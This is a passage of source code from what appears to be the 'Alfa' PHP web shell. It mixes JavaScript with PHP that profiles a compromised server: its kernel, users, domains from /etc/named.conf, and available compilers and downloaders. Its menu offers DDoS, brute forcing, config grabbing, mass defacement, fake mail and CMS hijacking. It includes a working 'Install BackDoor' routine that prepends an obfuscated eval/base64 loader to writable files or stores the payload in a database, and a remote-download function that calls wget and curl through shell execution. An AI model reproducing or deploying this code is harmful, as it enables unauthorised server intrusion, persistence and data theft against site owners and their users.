r=editor_files[o].pwd+"/";-1!=(r=r.replace(/\\/\\//g,"/")).search(i)&&(editor_files[o].pwd=r.replace(i,l))}updateCookieEditor()}function updateCookieEditor(){setCookie("alfa_history_files",btoa(JSON.stringify(editor_files)),2012)}function setEditorTitle(e,a){if("out"==a&&""!=editor_current_file){var t=d.querySelector(".editor-tab-name.editor-tab-active");e=null!=t?t.getAttribute("opt_id").replace("editor_source_","file_"):editor_current_file}editor_files[e]&&(d.getElementsByClassName("editor-path")[0].innerHTML=(editor_files[e].pwd+"/"+editor_files[e].file).replace(/\\/\\//g,"/"))}function removeHistory(e){delete editor_files[e],$(e)&&$(e).parentNode.parentNode.removeChild($(e).parentNode);var a=d.getElementsByClassName("filestools")[0];a&&a.getAttribute("fid")==e&&(a.outerHTML=""),editor_current_file==e&&(editor_current_file=""),updateCookieEditor()}function getRandom(e){for(var a="",t="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ",i=void 0===e?20:e;i>0;--i)a+=t[Math.floor(Math.random()*t.length)];return a}function reopen(e){var a=e.getAttribute("id"),t=editor_files[a].pwd,i=editor_files[a].file,l="editor_source_"+a.replace("file_","");null==$(l)?editor(i,"auto","",t,a):editorTabController(l,!0)}function copyToClipboard(e){e=e.getAttribute("ace_id");var a=alfa_ace_editors.editor[e].selection.toJSON();alfa_ace_editors.editor[e].selectAll(),alfa_ace_editors.editor[e].focus(),document.execCommand("copy"),alfa_ace_editors.editor[e].selection.fromJSON(a),alfaShowNotification("text copied","Editor")}function encrypt(e,a){if(null==a||a.length<=0)return null;e=alfab64(e,!0),a=alfab64(a,!0);for(var t="",i="",l=0;l<e.length;)for(var o=0;o<a.length&&(t=e.charCodeAt(l)^a.charCodeAt(o),i+=String.fromCharCode(t),!(++l>=e.length));o++);return alfab64(i,!0)}function reloadSetting(e){return alfaloader(alfa_before_do_action_id,"block"),_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(e.protect.value)+"&alfa2="+alfab64(e.lgpage.value)+"&alfa3="+alfab64(e.username.value)+"&alfa4="+alfab64(e.password.value)+"&alfa5="+alfab64(">>")+"&alfa6="+alfab64(e.icon.value)+"&alfa7="+alfab64(e.post_encrypt.value)+"&alfa8="+alfab64("main")+"&alfa9="+alfab64(e.cgi_api.value)+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(e,a){loadPopUpOpTions(a,e),evalJS(e),alfaloader(a,"none")},!1,alfa_before_do_action_id),alfa_before_do_action_id="",0==e.e.value&&1==e.protect.value&&setTimeout("location.reload()",1e3),e.s.value!=e.icon.value&&setTimeout("location.reload()",1e3),!1}function reloadColors(e){var a={};void 0===e?d.querySelectorAll(".colors_input").forEach(function(e){var t=e.getAttribute("target").replace(".","");a[t]=e.value}):a=e;var t=$("use_default_color").checked?"1":"0";_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(JSON.stringify(a))+"&alfa2="+alfab64(">>")+"&alfa3="+alfab64(t)+"&alfa8="+alfab64("color")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(e){evalJS(e)},!0)}function alfab64(e,a){return void 0!==a||0==post_encryption_mode?window.btoa(unescape(encodeURIComponent(e))):encrypt(e,"<?php echo __ALFA_SECRET_KEY__; ?>")}function evalCss(e){var a=document.createElement("style");a.styleSheet?a.styleSheet.cssText=e:a.appendChild(document.createTextNode(e)),d.getElementsByTagName("head")[0].appendChild(a)}function colorHandlerKey(e){setTimeout(function(a){colorHandler(e)},200)}function colorHandler(e){var a=e.getAttribute("target"),t=e.getAttribute("multi"),l=a.indexOf(":hover");if(t){var o=JSON.parse(atob(t)),r="";for(i in o.multi_selector)r+=i+"{"+o.multi_selector[i].replace(/{color}/g,e.value)+"}";evalCss(r)}-1==l||t?($("input_"+a.replace(".","")).value=e.value,$("gui_"+a.replace(".","")).value=e.value,".header_values"==a&&(a=".header,.header_values"),d.querySelectorAll(a).forEach(function(a){a.style.color=e.value})):($("input_"+a.replace(".","")).value=e.value,$("gui_"+a.replace(".","")).value=e.value,evalCss(a+"{color: "+e.value+";}"))}function importConfig(e){var a=e.target,t=new FileReader;t.onload=function(){var e=t.result;try{reloadColors(JSON.parse(e))}catch(e){alert("Config is invalid...!")}$("importFileBtn").value=""},t.readAsText(a.files[0])}function checkBox(e){var a=alfa_current_fm_id,t=e.checked;d.querySelectorAll("#filesman_holder_"+a+" form[name=files] input[type=checkbox]").forEach(function(e){e.checked=t})}function runcgi(e){if($("cgiframe").style.height="unset",d.querySelector("#cgiloader-minimized .minimized-text").innerHTML="Cgi Shell",d.querySelector("#cgiloader .opt-title").innerHTML="Cgi Shell",cgi_is_minimized&&cgi_lang==e&&(showEditor("cgiloader"),0==php_temrinal_using_cgi))return!1;php_temrinal_using_cgi=!1,_Ajax(d.URL,"a="+alfab64("cgishell")+"&alfa1="+alfab64(e)+"&ajax="+alfab64("true"),function(a){d.body.style.overflow="hidden",$("cgiloader").style.display="block",d.querySelector("#cgiframe .terminal-tabs").innerHTML="",d.querySelector("#cgiframe .terminal-contents").innerHTML=a,cgi_lang=e,cgi_is_minimized&&($("cgiloader-minimized").setAttribute("class","minimized-hide"),setTimeout(function(){$("cgiloader").removeAttribute("class"),is_minimized&&($("editor-minimized").style.top="30%")},1e3))})}Element.prototype.appendAfter=function(e){e.parentNode.insertBefore(this,e.nextSibling)};\r\n</script>\r\n<?php echo"<form style=\'display:none;\' id=\'dlForm\' action=\'\' target=\'_blank\' method=\'post\'>\r\n<input type=\'hidden\' name=\'a\' value=\'dlfile\'>\r\n<input type=\'hidden\' name=\'c\' value=\'\'>\r\n<input type=\'hidden\' name=\'file\' value=\'\'>\r\n</form>\r\n<input type=\'file\' style=\'display:none;\' id=\'importFileBtn\' onchange=\'importConfig(event);\'>\r\n<div id=\'a_loader\'><img src=\'".__showicon(\'loader\')."\'></div>";\r\n$cmd_uname = alfaEx("uname -a",false,false);\r\n$uname = function_exists(\'php_uname\') ? substr(@php_uname(), 0, 120) : (strlen($cmd_uname)>0?$cmd_uname:\'( php_uname ) Function Disabled !\');\r\nif($uname=="( php_uname ) Function Disabled !"){$GLOBALS["need_to_update_header"]="true";}\r\necho \'\r\n</head>\r\n<body bgcolor="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">\r\n<div id="up_bar_holder"></div>\r\n<div class="whole">\r\n<form method="post" name="mf" style="display:none;">\r\n<input type="hidden" name="a">\r\n<input type="hidden" name="c" value="\'.$GLOBALS[\'cwd\'].\'">\';\r\nfor($s=1;$s<=10;$s++){\r\necho \'<input type="hidden" name="alfa\'.$s.\'">\';\r\n}\r\necho \'<input type="hidden" name="charset">\r\n</form>\r\n<div id=\\\'hidden_sh\\\'><a class="alert_green" target="_blank" href="?solevisible"><span style="color:#42ff59;">\'.__ALFA_CODE_NAME__.\'</span><br><small>Version: <span class="hidden_shell_version">\'.__ALFA_VERSION__.\'</span></small></a></div>\r\n<div class="header"><table width="100%" border="0">\r\n<tr>\r\n<td width="3%"><span class="header_vars">Uname:</span></td>\r\n<td colspan="2"><span class="header_values" id="header_uname">\'.$uname.\'</span></td>\r\n</tr>\r\n<tr>\r\n<td><span class="header_vars">User:</span></td>\r\n<td><span class="header_values" id="header_userid">\'. $uid . \' [ \' . $user . \' ] </span><span class="header_vars"> Group: </span><span class="header_values" id="header_groupid">\' . $gid . \' [ \' . $group . \' ]</span> </td>\r\n<td width="12%" rowspan="8"><img style="border-radius:100px;" width="300" height="170" alt="alfa team 2012" draggable="false" src="http://solevisible.com/images/alfa-iran.png" /></td>\r\n</tr>\r\n<tr>\r\n<td><span class="header_vars">PHP:</span></td>\r\n<td><b>\'.@phpversion(). \' </b><span class="header_vars"> Safe Mode: \'.$safe_modes.\'</span></td>\r\n</tr>\r\n<tr>\r\n<td><span class="header_vars">ServerIP:</span></td>\r\n<td><b>\'.(!@$_SERVER["SERVER_ADDR"]?(function_exists("gethostbyname")?@gethostbyname($_SERVER[\'SERVER_NAME\']):\'????\'):@$_SERVER["SERVER_ADDR"]).\'</b><div style="display:inline;display:none;" class="flag-holder"></div> <span class="header_vars">Your IP:</span><b> \'.@$_SERVER["REMOTE_ADDR"].\'</b><div style="display:inline;display:none;" class="flag-holder"></div></td>\r\n</tr>\r\n<tr>\r\n<td width="3%"><span class="header_vars">DateTime:</span></td>\r\n<td colspan="2"><b>\'.date(\'Y-m-d H:i:s\').\'</b></td>\r\n</tr>\r\n<tr>\r\n<td><span class="header_vars">Domains:</span></td>\r\n<td width="76%"><span class="header_values" id="header_domains">\';\r\nif($GLOBALS[\'sys\']==\'unix\'){\r\n$d0mains = _alfa_file("/etc/named.conf",false);\r\nif(!$d0mains){echo "Cant Read [ /etc/named.conf ]";$GLOBALS["need_to_update_header"]="true";}else{\r\n$count=0;\r\nforeach($d0mains as $d0main){\r\nif(@strstr($d0main,"zone")){\r\npreg_match_all(\'#zone "(.*)"#\', $d0main, $domains);\r\nflush();\r\nif(strlen(trim($domains[1][0])) > 2){\r\nflush();\r\n$count++;}}}\r\necho "$count Domains";}}\r\nelse{echo("Cant Read [ /etc/named.conf ]");}\r\necho \'</span></td>\r\n</tr>\r\n<tr>\r\n<td height="16"><span class="header_vars">HDD:</span></td>\r\n<td><span class="header_vars">Total:</span><b>\'.alfaSize($totalSpace).\' </b><span class="header_vars">Free:</span><b>\' . alfaSize($freeSpace) . \' [\'. (int) ($freeSpace/$totalSpace*100) . \'%]</b></td>\r\n</tr>\';\r\nif($GLOBALS[\'sys\']==\'unix\'){\r\n$useful_downloader = \'<tr><td height="18" colspan="2"><span class="header_vars">useful:</span><span class="header_values" id="header_useful">--------------</span></td></tr><td height="0" colspan="2"><span class="header_vars">Downloader: </span><span class="header_values" id="header_downloader">--------------</span></td></tr>\';\r\nif(!@ini_get(\'safe_mode\')){\r\nif(strlen(alfaEx("id",false,false))>0){\r\necho \'<tr><td height="18" colspan="2"><span class="header_vars">Useful : </span>\';\r\n$userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzialfa2\',\'nc\',\'locate\',\'suidperl\');\r\n$x=0;\r\nforeach($userful as $item)if(alfaWhich($item)){$x++;echo \'<span class="header_values" style="margin-left: 4px;">\'.$item.\'</span>\';}\r\nif($x==0){echo "<span class=\'header_values\' id=\'header_useful\'>--------------</span>";$GLOBALS["need_to_update_header"] = "true";}\r\necho \'</td>\r\n</tr>\r\n<tr>\r\n<td height="0" colspan="2"><span class="header_vars">Downloader: </span>\';\r\n$downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');\r\n$x=0;\r\nforeach($downloaders as $item2)if(alfaWhich($item2)){$x++;echo \'<span class="header_values" style="margin-left: 4px;">\'.$item2.\'</span>\';}\r\nif($x==0){echo "<span class=\'header_values\' id=\'header_downloader\'>--------------</span>";$GLOBALS["need_to_update_header"] = "true";}\r\necho \'</td>\r\n</tr>\';\r\n}else{\r\necho $useful_downloader;$GLOBALS["need_to_update_header"] = "true";\r\n}\r\n}else{\r\necho $useful_downloader;$GLOBALS["need_to_update_header"] = "true";\r\n}\r\n}else{\r\necho \'<tr><td height="18" colspan="2"><span class="header_vars">Windows:</span><b>\';\r\necho alfaEx(\'ver\',false,false);\r\necho \'</td>\r\n</tr> <tr>\r\n<td height="0" colspan="2"><span class="header_vars">Downloader: </span><b>-------------</b></td>\r\n</tr></b>\';\r\n}\r\n$quotes = (function_exists(\'get_magic_quotes_gpc\')?get_magic_quotes_gpc():\'0\');if ($quotes == "1" or $quotes == "on"){$magic = \'<b><span class="header_on">ON</span>\';}else{$magic = \'<span class="header_off">OFF</span>\';}\r\necho \'<tr>\r\n<td height="16" colspan="2"><span class="header_vars">Disable Functions: </span><b>\'.Alfa_GetDisable_Function().\'</b></td>\r\n</tr>\r\n<tr>\r\n<td height="16" colspan="2"><span class="header_vars">CURL :</span>\'.$curl.\' | <span class="header_vars">SSH2 : </span>\'.$ssh2.\' | <span class="header_vars">Magic Quotes : </span>\'.$magic.\' | <span class="header_vars"> MySQL :</span>\'.$mysql.\' | <span class="header_vars">MSSQL :</span>\'.$mssql.\' | <span class="header_vars"> PostgreSQL :</span>\'.$pg.\' | <span class="header_vars"> Oracle :</span>\'.$or.\' \'.($GLOBALS[\'sys\']=="unix"?\'| <span class="header_vars"> CGI :</span> \'.$cgi_shell:"").\'</td><td width="15%"><div id="alfa_solevisible"><center><a href="https://t.me/solevisible" target="_blank"><span><font class="solevisible-text" color="#0F0">Sole Sad & Invisible</font></span></a></center></div></td>\r\n</tr>\r\n<tr>\r\n<td height="11" colspan="3"><span class="header_vars">Open_basedir :</span><b>\'.$open_b.\'</b> | <span class="header_vars">Safe_mode_exec_dir :</span><b>\'.$safe_exe.\'</b> | <span class="header_vars"> Safe_mode_include_dir :</span></b>\'.$safe_include.\'</b></td>\r\n</tr>\r\n<tr>\r\n<td height="11"><span class="header_vars">SoftWare: </span></td>\r\n<td colspan="2"><b>\'.@getenv(\'SERVER_SOFTWARE\').\'</b></td>\r\n</tr>\';\r\nif($GLOBALS[\'sys\']=="win"){\r\necho \'<tr>\r\n<td height="12"><span class="header_vars">DRIVE:</span></td>\r\n<td colspan="2"><b>\'.$drives.\'</b></td>\r\n</tr>\';\r\n}\r\necho \'<tr>\r\n<td height="12"><span class="header_vars">PWD:</span></td>\r\n<td colspan="2"><span id="header_cwd">\'.$cwd_links.\' </span><a href="#action=fileman&path=\'.$GLOBALS[\'home_cwd\'].\'" onclick="g(\\\'FilesMan\\\',\\\'\' . $GLOBALS[\'home_cwd\'] . \'\\\',\\\'\\\',\\\'\\\',\\\'\\\')"><span class="home_shell">[ Home Shell ]</span> </a></td>\r\n</tr>\r\n</table>\r\n</div>\r\n<div id="meunlist">\r\n<ul>\r\n\';\r\n$li = array(\'proc\'=>\'Process\',\'phpeval\'=>\'Eval\',\'sql\'=>\'SQL Manager\',\'dumper\'=>\'Database Dumper\',\'coldumper\'=>\'Column Dumper\',\'hash\'=>\'En-Decoder\',\'connect\'=>\'BC\',\r\n\'zoneh\'=>\'ZONE-H\',\'dos\'=>\'DDOS\',\'safe\'=>\'ByPasser\',\'cgishell\'=>\'Cgi Shell\',\'ssiShell\'=>\'SSI SHELL\',\'cpcrack\'=>\'Hash Tools\',\r\n\'portscanner\'=>\'Port Scaner\',\'basedir\'=>\'Open BaseDir\',\'mail\'=>\'Fake Mail\',\'ziper\'=>\'Compressor\',\'deziper\'=>\'DeCompressor\',\'IndexChanger\'=>\'Index Changer\',\'pwchanger\'=>\'Add New Admin\',\'ShellInjectors\'=>\'Shell Injectors\',\r\n\'php2xml\'=>\'PHP2XML\',\'cloudflare\'=>\'CloudFlare\',\'Whmcs\'=>\'Whmcs DeCoder\',\'symlink\'=>\'Symlink\',\'MassDefacer\'=>\'Mass Defacer\',\'Crackers\'=>\'BruteForcer\',\'searcher\'=>\'Searcher\',\'config_grabber\'=>\'Config Grabber\',\'fakepage\'=>\'Fake Page\',\'archive_manager\'=>\'Archive Manager\',\r\n\'cmshijacker\'=>\'CMS Hijacker\',\'remotedl\'=>\'Remote Upload\',\'inbackdoor\'=>\'Install BackDoor\',\'whois\'=>\'Whois\',\'selfrm\'=>\'Remove Shell\'\r\n);\r\nforeach($li as $key=>$value){\r\necho(\'<li><a id="menu_opt_\'.$key.\'" href="#action=options&path=\'.$GLOBALS[\'cwd\'].\'&opt=\'.$key.\'" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\\\'#action=options&path=\\\'+c_+\\\'&opt=\'.$key.\'\\\';g(\\\'\'.$key.\'\\\',null,\\\'\\\',\\\'\\\',\\\'\\\');d.querySelector(\\\'.opt-title\\\').innerHTML=this.innerHTML;">\'.$value.\'</a></li>\'."\\n");\r\n}\r\necho \'</ul><div style="text-align: center;padding: 6px;"><a id="menu_opt_settings" href="#action=options&path=\'.$GLOBALS[\'cwd\'].\'&opt=settings" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\\\'#action=options&path=\\\'+c_+\\\'&opt=settings\\\';g(\\\'settings\\\',null,\\\'\\\',\\\'\\\',\\\'\\\');d.querySelector(\\\'.opt-title\\\').innerHTML=this.innerHTML;">Alfa Settings</a><a style="display:none;" id="menu_opt_market" href="#action=options&path=\'.$GLOBALS[\'cwd\'].\'&opt=market" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\\\'#action=options&path=\\\'+c_+\\\'&opt=market\\\';g(\\\'market\\\',null,\\\'\\\',\\\'\\\',\\\'\\\');d.querySelector(\\\'.opt-title\\\').innerHTML=this.innerHTML;"><span class="alfa_plus">Alfa market</span></a><a id="menu_opt_aboutus" href="#action=options&path=\'.$GLOBALS[\'cwd\'].\'&opt=aboutus" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\\\'#action=options&path=\\\'+c_+\\\'&opt=aboutus\\\';g(\\\'aboutus\\\',null,\\\'\\\',\\\'\\\',\\\'\\\');d.querySelector(\\\'.opt-title\\\').innerHTML=this.innerHTML;">About Us</a>\'.(!empty($_COOKIE[\'AlfaUser\']) && !empty($_COOKIE[\'AlfaPass\']) ? \'<a href="javascript:void(0);" onclick="alfaLogOut();"><font color="red">LogOut</font></a>\':\'\').\'</div></div><div id="filesman_tabs"><div onmouseover="alfaFilesmanTabShowTitle(this,event);" onmouseout="alfaFilesmanTabHideTitle(this,event);" fm_counter="1" path="\'.$GLOBALS[\'cwd\'].\'" fm_id="1" id="filesman_tab_1" class="filesman_tab filesman-tab-active" onclick="filesmanTabController(this);"><img class="folder-tab-icon" src="http://solevisible.com/icons/menu/folder2.svg"> <span>File manager</span></div><div style="display:inline-block;" id="filesman_tabs_child"></div><div id="filesman_new_tab" class="filesman_tab" style="background: maroon;" onClick="alfaFilesManNewTab(c_,\\\'/\\\',1);">New Tab +</div></div>\';}else{\r\n@error_reporting(E_ALL ^ E_NOTICE);\r\n@ini_set(\'error_log\',NULL);\r\n@ini_set(\'log_errors\',0);\r\n@ini_set(\'max_execution_time\',0);\r\n@ini_set(\'magic_quotes_runtime\', 0);\r\n@set_time_limit(0);\r\n}}\r\nfunction alfalogout(){\r\n@setcookie("AlfaUser", null, 2012);\r\n@setcookie("AlfaPass", null, 2012);\r\nunset($_COOKIE[\'AlfaUser\'],$_COOKIE[\'AlfaPass\']);\r\necho("ok");\r\n}\r\nfunction showAnimation($name){\r\n\treturn \'-webkit-animation: \'.$name.\' 800ms ease-in-out forwards;-moz-animation: \'.$name.\' 800ms ease-in-out forwards;-ms-animation: \'.$name.\' 800ms ease-in-out forwards;animation: \'.$name.\' 800ms ease-in-out forwards;\';\r\n}\r\nfunction __showicon($r){\r\n\t$s[\'btn\']=\'http://solevisible.com/images/btn.png\';\r\n\t$s[\'alfamini\']=\'http://solevisible.com/images/alfamini.png\';\r\n\t$s[\'loader\']=\'http://solevisible.com/images/loader.svg\';\r\n\t//return \'data:image/png;base64,\'.__get_resource($s[$r]);\r\n\treturn $s[$r];\r\n}\r\nfunction alfainbackdoor(){\r\nalfahead();\r\necho \'<div class=header><center><p><div class="txtfont_header">| Install BackDoor |</div></p><h3><a href=javascript:void(0) onclick="g(\\\'inbackdoor\\\',null,\\\'file\\\')">| In File | </a><a href=javascript:void(0) onclick="g(\\\'inbackdoor\\\',null,\\\'db\\\')">| In DataBase | </a></h3></center>\';\r\n$error = \'<font color="red">Error In Inject BackDoor...!<br>File Loader is not Writable Or Not Exists...!</font>\';\r\n$success= \'<font color="green">Success...!\';\r\n$textarea = "<div style=\'display:none;\' id=\'backdoor_textarea\'><div class=\'txtfont\'>Your Shell:</div><p><textarea name=\'shell\' rows=\'19\' cols=\'103\'><?php\\n\\techo(\'Alfa Team is Here...!\');\\n?></textarea></p></div>";\r\n$select = "<div class=\'txtfont\'>Use:</div> <select name=\'method\' style=\'width:155px;\' onChange=\'inBackdoor(this);\'><option value=\'alfa\'>Alfa Team Uploader</option><option value=\'my\'>My Private Shell</option></select>";\r\n$cwd = \'Example: /home/alfa/public_html/index.php\';\r\nif($_POST[\'alfa1\']==\'file\'){\r\necho("<center><p><div class=\'txtfont_header\'>| In File |</div></p><p><form onsubmit=\\"g(\'inbackdoor\',null,\'file\',this.method.value,this.file.value,this.shell.value,this.key.value);return false;\\">{$select} <div class=\'txtfont\'>Backdoor Loader:</div> <input type=\'text\' name=\'file\' size=\'50\' placeholder=\'{$cwd}\'> <div class=\'txtfont\'>Key: </div> <input type=\'text\' name=\'key\' size=\'10\' value=\'alfa\'> <input type=\'submit\' value=\' \'>{$textarea}</form></p></center>");\r\nif($_POST[\'alfa2\']!=\'\'&&$_POST[\'alfa3\']!=\'\'&&$_POST[\'alfa4\']!=\'\'){\r\n$method = $_POST[\'alfa2\'];\r\n$file = $_POST[\'alfa3\'];\r\n$shell = $_POST[\'alfa4\'];\r\n$key = str_replace(array(\'"\',\'\\\'\'),\'\',trim($_POST[\'alfa5\']));\r\nif($key==\'\')$key=\'alfa\';\r\nif($method==\'my\'){$shell=__ZW5jb2Rlcg($shell);}else{$shell=$GLOBALS[\'__ALFA_SHELL_CODE\'];}\r\n$code = \'<?php if(isset($_GET["alfa"])&&$_GET["alfa"]=="\'.$key.\'"){$func="cr"."ea"."te_"."fun"."ction";$x=$func("\\$c","e"."v"."al"."(\\\'?>\\\'.base"."64"."_dec"."ode(\\$c));");$x("\'.$shell.\'");exit;}?>\';\r\nif(@is_file($file)&&@is_writable($file)){@file_put_contents($file,$code."\\n".@file_get_contents($file));__alert($success."<br>Run With: ".basename($file)."?alfa=".$key.\'</font>\');}else{__alert($error);}}}\r\nif($_POST[\'alfa1\']==\'db\'){\r\necho("<center><p><div class=\'txtfont_header\'>| In DataBase |</div></p>".getConfigHtml(\'all\')."<p><form onsubmit=\\"g(\'inbackdoor\',null,\'db\',this.db_host.value,this.db_username.value,this.db_password.value,this.db_name.value,this.file.value,this.method.value,this.shell.value,this.key.value);return false;\\">");\r\n$table = array(\'td1\' =>\r\narray(\'color\' => \'FFFFFF\', \'tdName\' => \'db_host : \', \'inputName\' => \'db_host\', \'id\' => \'db_host\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n\'td2\' =>\r\narray(\'color\' => \'FFFFFF\', \'tdName\' => \'db_username : \', \'inputName\' => \'db_username\', \'id\' => \'db_user\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n\'td3\' =>\r\narray(\'color\' => \'FFFFFF\', \'tdName\' => \'db_password : \', \'inputName\' => \'db_password\', \'id\' => \'db_pw\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n\'td4\' =>\r\narray(\'color\' => \'FFFFFF\', \'tdName\' => \'db_name : \', \'inputName\' => \'db_name\', \'id\' => \'db_name\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n\'td5\' =>\r\narray(\'color\' => \'FFFFFF\', \'tdName\' => \'Backdoor Loader: \', \'inputName\' => \'file\', \'inputValue\' => $cwd, \'inputSize\' => \'50\', \'placeholder\' => true),\r\n\'td6\' =>\r\narray(\'color\' => \'FFFFFF\', \'tdName\' => \'Key: \', \'inputName\' => \'key\', \'inputValue\' => \'alfa\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho("<p>{$select}</p>");\r\necho($textarea);\r\necho("<p><input type=\'submit\' value=\' \'></p></form></p></center>");\r\nif($_POST[\'alfa2\']!=\'\'&&$_POST[\'alfa3\']!=\'\'&&$_POST[\'alfa5\']!=\'\'&&$_POST[\'alfa6\']!=\'\'){\r\n$dbhost = $_POST[\'alfa2\'];\r\n$dbuser = $_POST[\'alfa3\'];\r\n$dbpw = $_POST[\'alfa4\'];\r\n$dbname = $_POST[\'alfa5\'];\r\n$file = $_POST[\'alfa6\'];\r\n$method = $_POST[\'alfa7\'];\r\n$shell = $_POST[\'alfa8\'];\r\n$key = str_replace(array(\'"\',\'\\\'\'),\'\',trim($_POST[\'alfa9\']));\r\nif($key==\'\')$key=\'alfa\';\r\nif($method==\'my\'){$shell=__ZW5jb2Rlcg($shell);}else{$shell=$GLOBALS[\'__ALFA_SHELL_CODE\'];}\r\nif($conn = mysqli_connect($dbhost,$dbuser,$dbpw,$dbname)){\r\n$code = \'<?php if(isset($_GET["alfa"])&&$_GET["alfa"]=="\'.$key.\'"){$conn=mysqli_connect("\'.str_replace(\'"\',\'\\"\',$dbhost).\'","\'.str_replace(\'"\',\'\\"\',$dbuser).\'","\'.str_replace(\'"\',\'\\"\',$dbpw).\'","\'.str_replace(\'"\',\'\\"\',$dbname).\'");$q=mysqli_query($conn,"SELECT `code` FROM alfa_bc LIMIT 0,1");$r=mysqli_fetch_assoc($q);$func="cr"."ea"."te_"."fun"."ction";$x=$func("\\$c","e"."v"."al"."(\\\'?>\\\'.base"."64"."_dec"."ode(\\$c));");$x($r["code"]);exit;}?>\';\r\nif(@is_file($file)&&@is_writable($file)){\r\n@mysqli_query($conn,\'DROP TABLE `alfa_bc`\');\r\n@mysqli_query($conn,\'CREATE TABLE `alfa_bc` (code LONGTEXT)\');\r\n@mysqli_query($conn,\'INSERT INTO `alfa_bc` VALUES("\'.$shell.\'")\');\r\n@file_put_contents($file,$code."\\n".@file_get_contents($file));\r\n__alert($success."<br>Run With: ".basename($file)."?alfa=".$key.\'</font>\');}else{__alert($error);}}}}\r\necho(\'</div>\');\r\nalfafooter();\r\n}\r\nfunction alfawhois(){\r\necho("<div class=\'header\'><center><p><div class=\'txtfont_header\'>| Whois |</div></p><p><form onsubmit=\\"g(\'whois\',null,this.url.value,\'>>\');return false;\\"><div class=\'txtfont\'>Url: </div> <input type=\'text\' name=\'url\' style=\'text-align:center;\' size=\'50\' placeholder=\'google.com\'> <input type=\'submit\' value=\' \'></form></p></center>");\r\nif($_POST[\'alfa2\']==\'>>\'&&!empty($_POST[\'alfa1\'])){\r\n$site = str_replace(array(\'http://\',\'https://\',\'www.\',\'ftp://\'),\'\',$_POST[\'alfa1\']);\r\n$target = \'http://api.whoapi.com/?apikey=093b6cb9e6ea724e101928647df3e009&r=whois&domain=\'.$site;\r\n$data = @file_get_contents($target);\r\nif($data==\'\'){$get = new AlfaCURL();$get->ssl = true;$data = $get->Send($target);}\r\n$target = @json_decode($data,true);\r\necho __pre();\r\nif(is_array($target)){echo($target["whois_raw"]);}else{echo alfaEx("whois ".$site);}}\r\necho("</div>");\r\n}\r\nfunction alfaremotedl(){\r\nalfahead();\r\necho("<div class=\'header\'><center><p><div class=\'txtfont_header\'>| Upload From Url |</div></p><p>\r\n<form onsubmit=\\"g(\'remotedl\',null,this.d.value,this.p.value,\'>>\');return false;\\">\r\n<p><div class=\'txtfont\'>Url: </div> <input type=\'text\' name=\'d\' size=\'50\'></p>\r\n<div class=\'txtfont\'>Path:</div> <input type=\'text\' name=\'p\' size=\'50\' value=\'".$GLOBALS[\'cwd\']."\'><p><input type=\'submit\' value=\' \'></p>\r\n</form></p></center>");\r\nif(isset($_POST[\'alfa1\'],$_POST[\'alfa2\'],$_POST[\'alfa3\'])&&!empty($_POST[\'alfa1\'])&&$_POST[\'alfa3\']==\'>>\'){\r\necho __pre();\r\n$url = $_POST[\'alfa1\'];\r\n$path = $_POST[\'alfa2\'];\r\necho(\'<center>\');\r\nif(__download($url,$path)){\r\necho(\'<font color="green">Success...!</font>\');\r\n}else{\r\necho(\'<font color="red">Error...!</font>\');\r\n}\r\necho(\'</center>\');\r\n}\r\necho("</div>");\r\nalfafooter();\r\n}\r\nfunction __download($url,$path=false){\r\nif(!preg_match("/[a-z]+:\\/\\/.+/",$url)) return false;\r\n$saveas = basename(rawurldecode($url));\r\nif($path){$saveas=$path.$saveas;}\r\nif($content = __read_file($url)){\r\nif(@is_file($saveas))@unlink($saveas);\r\nif(__write_file($saveas, $content)){return true;}}\r\n$buff = alfaEx("wget ".$url." -O ".$saveas);\r\nif(@is_file($saveas)) return true;\r\n$buff = alfaEx("curl ".$url." -o ".$saveas);\r\nif(@is_file($saveas)) return true;\r\n$buff = alfaEx("lwp-download ".$url." ".$saveas);\r\nif(@is_file($saveas)) return true;\r\n$buff = alfaEx("lynx -source ".$url." > ".$saveas);\r\nif(@is_file($saveas)) return true;\r\n$buff = alfaEx("GET ".$url." > ".$saveas);\r\nif(@is_file($saveas)) return true;\r\n$buff = alfaEx("links -source ".$url." > ".$saveas);\r\nif(@is_file($saveas)) return true;\r\n$buff = alfaEx("fetch -o ".$saveas." -p ".$url);\r\nif(@is_file($saveas)) return true;\r\nreturn false;\r\n}\r\nfunction clean_string($string){\r\n if(function_exists("iconv")){\r\n\t $s = trim($string);\r\n\t $s = iconv("UTF-8", "UTF-8//IGNORE", $s);\r\n }\r\n return $s;\r\n}\r\nfunction __read_file($file, $boom = true){\r\n$content = false;\r\nif($fh = @fopen($file, "rb")){\r\n$content = "";\r\nwhile(!feof($fh)){\r\n$content .= $boom ? clean_string(fread($fh, 8192)) : fread($fh, 8192);\r\n}\r\n@fclose($fh);\r\n}\r\nif(empty($content)||!$content){\r\n\t$content = alfaEx("cat \'".addslashes($file)."\'");\r\n}\r\nreturn $content;\r\n}\r\nfunction alfaMarket(){\r\necho "<div class=\'header\'>";\r\n$curl = new AlfaCURL();\r\n$content = $curl->Send("http://solevisible.com/market.php");\r\n$data = @json_decode($content, true);\r\nif(!empty($data)){\r\nif($data["status"] == "open"){\r\n\techo $data["content"];\r\n}else{\r\n\techo $data["error_msg"];\r\n}\r\n}else{\r\n\techo "<div style=\'text-align:center;font-size:20px;\'>Cant connect to the alfa market....! try later.</div>";\r\n}\r\necho "</div>";\r\n}\r\nfunction alfaSettings(){\r\nalfahead();\r\nAlfaNum(6,7,8,9,10);\r\necho 